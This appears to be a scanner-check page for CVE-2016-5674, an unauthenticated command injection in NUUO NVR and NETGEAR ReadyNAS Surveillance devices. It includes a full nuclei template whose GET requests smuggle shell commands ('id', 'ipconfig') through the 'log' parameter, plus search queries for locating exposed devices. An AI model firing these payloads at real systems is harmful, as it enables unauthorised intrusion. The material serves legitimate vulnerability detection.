NUUO NVR camera `debugging_center_utils_.php` - Command Execution

criticalseverity

9.8CVSS score

94.6%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

__debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.

Impact

Attackers can execute arbitrary PHP code remotely without authentication through command injection, leading to complete server compromise and data breach.

Fix

Update NUUO NVR devices to the latest firmware version that patches the command injection vulnerability.

How to confirm it

Send: GET {{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id ; GET {{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig
Positive when: status_code_1 == 200 and contains(body_1, 'Debugging Center') and regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1) OR status_code_2 == 200 and contains(body_2, 'Debugging Center') and contains(body_2, 'Windows IP')

Run it with nuclei: nuclei -id CVE-2016-5674 -u <target>

The full check

id: CVE-2016-5674

info:
  name: NUUO NVR camera `debugging_center_utils_.php` - Command Execution
  author: DhiyaneshDK
  severity: critical
  description: |
    __debugging_center_utils___.php in NUUO NVRmini 2 1.7.5 through 3.0.0, NUUO NVRsolo 1.7.5 through 3.0.0, and NETGEAR ReadyNAS Surveillance 1.1.1 through 1.4.1 allows remote attackers to execute arbitrary PHP code via the log parameter.
  impact: |
    Attackers can execute arbitrary PHP code remotely without authentication through command injection, leading to complete server compromise and data breach.
  remediation: |
    Update NUUO NVR devices to the latest firmware version that patches the command injection vulnerability.
  reference:
    - http://www.kb.cert.org/vuls/id/856152
    - https://www.exploit-db.com/exploits/40200/
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2016-5674
    cwe-id: CWE-20
    epss-score: 0.9461
    epss-percentile: 0.99855
    cpe: cpe:2.3:a:netgear:readynas_surveillance:1.1.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: netgear
    product: "readynas_surveillance"
    fofa-query:
      - "app=\"NUUO-NVRmini\" || app=\"NUUO-NVR\" || title=\"Network Video Recorder Login\""
      - app="nuuo-nvrmini" || app="nuuo-nvr" || title="network video recorder login"
  tags: cve,cve2016,nuuo,rce,netgear,vkev,vuln
variables:
  rand: "{{to_lower(rand_text_alpha(32))}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20id"
      - "{{BaseURL}}/__debugging_center_utils___.php?log=;echo%20{{rand}}%20|%20ipconfig"

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200"
          - "contains(body_1, 'Debugging Center')"
          - "regex('uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)', body_1)"
        condition: and

      - type: dsl
        dsl:
          - "status_code_2 == 200"
          - "contains(body_2, 'Debugging Center')"
          - "contains(body_2, 'Windows IP')"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from